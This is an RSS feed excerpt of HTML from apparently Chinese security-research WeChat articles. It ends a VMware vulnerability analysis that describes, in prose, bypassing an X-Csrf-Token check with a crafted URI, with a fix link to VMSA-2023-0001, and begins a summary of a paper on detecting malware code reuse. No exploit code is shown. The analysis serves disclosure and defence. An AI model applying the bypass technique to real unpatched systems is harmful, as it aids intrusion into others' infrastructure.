YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">可以看到代码里使用正则表达式去判断URI字符,这里构造特殊的URI尝试绕过这个校验。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.48329853862212946" data-s="300,640" style="" data-type="png" data-w="1916" src="https://wechat2rss.xlab.app/img-proxy/?k=0803cf3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplS82nqXdTFaV8chUxeRrwErVQLlrmOSuUolwsTJCdzjeuJq3PTMBMMR1k2Op5RyWedvLdGUgPe8tg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n24" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">这里发送的http请求数据包没有X-Csrf-Token字段,http响应包也返回了200。该服务权限校验还判断了session数据所以无法绕过权限,只能绕过X-Csrf-Token字段。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">修复建议</span></h2><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">请参考vmware官网修复文档</span><br/></p><p cid="n27" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="box-sizing: border-box;cursor: pointer;color: rgb(65, 131, 196);-webkit-user-drag: none;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;"><a href="https://www.vmware.com/security/advisories/VMSA-2023-0001.html" target="_blank">https://www.vmware.com/security/advisories/VMSA-2023-0001.html</a></span></p><p cid="n27" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485056&amp;idx=1&amp;sn=7c2c0272b9ba81a5f2aceac47fd6176e&amp;chksm=c0ddfcf1f7aa75e73d0a1377a555ea279cc38ccb60143a4993a3ea6cc159166c12879b896fe0&amp;scene=21#wechat_redirect" textvalue="通过机器学习和反编译来检测恶意样本代码重用" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">通过机器学习和反编译来检测恶意样本代码重用</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485038&amp;idx=1&amp;sn=3854168edee727201558bcc013be8b4f&amp;chksm=c0ddfc1ff7aa7509c0fe81ab2ee479b92d4a9f5e87a99e08f8784ce78efe2b05fcf31f0588c7&amp;scene=21#wechat_redirect" textvalue="二进制代码相似性检测也能对抗？" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">二进制代码相似性检测也能对抗？</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484929&amp;idx=1&amp;sn=a7422ee543efe7e2eecf1b5e7ebed14d&amp;chksm=c0ddfc70f7aa756656ac00dfe3908c19aa693c00fed40c78f2447a7e15f3258af1cd65347d95&amp;scene=21#wechat_redirect" textvalue="Linux系统下安全控制策略SELinux解" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Linux系统下安全控制策略SELinux解</span><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">析</span></a></h1><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="36" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;outline: 0px;max-width: 100%;font-size: 14px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="font-size: 14px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;outline: 0px;max-width: 100%;font-size: 14px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2cf56a89&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485086%26idx%3D1%26sn%3D440ac37456efd0056eab04e265a2b3bc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 03 Mar 2023 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>通过机器学习和反编译来检测恶意样本代码重用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485056&amp;idx=1&amp;sn=7c2c0272b9ba81a5f2aceac47fd6176e</link>
      <description>VLab Team是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。</description>
      <content:encoded><![CDATA[<p>
原创 <span>阿布</span> <span>2022-12-23 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>VLab Team是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c4c2453c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplRMkNicG6ictoYbujg8UIDbOSAS2XsEwxhuhTXZYSIZlbkJCpIRUSRnQPwXN7w2povtmwsLzRGdvt4A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section msthidden="1" style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">VLab-实验室</span></strong></section><section msthidden="1" style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">近些年，针对政府和企业的恶意软件攻击越来越多，在数量和影响程度上都以几何倍数增加，而且这种攻击不同于普通的恶意软件攻击，它多出于政治和金融动机，专门针对政府、企业这种特定的对象，拥有极强的隐蔽性和针对性，业内称这种攻击为</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">APT</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">攻击，即高级可持续性攻击。</span></section><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">笔者推荐一篇通过机器学习和反编译来检测恶意代码重用的论文——SCRUTINIZER: Detecting Code Reuse in Malware via Decompilation and Machine Learning。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景与相关工作</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">为了应对这种攻击，安全社区开始探索使用现代机器学习方法来检测APT攻击，但因为APT样本数据很稀少，所以限制了常见的机器学习技术在检测特定类型的恶意软件方面的效率。另外，由于现在的恶意软件大量使用混淆、规避等反分析技术，使得基于控制流图和编码风格这两种静态分析方法在实践中的效果都不大理想。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 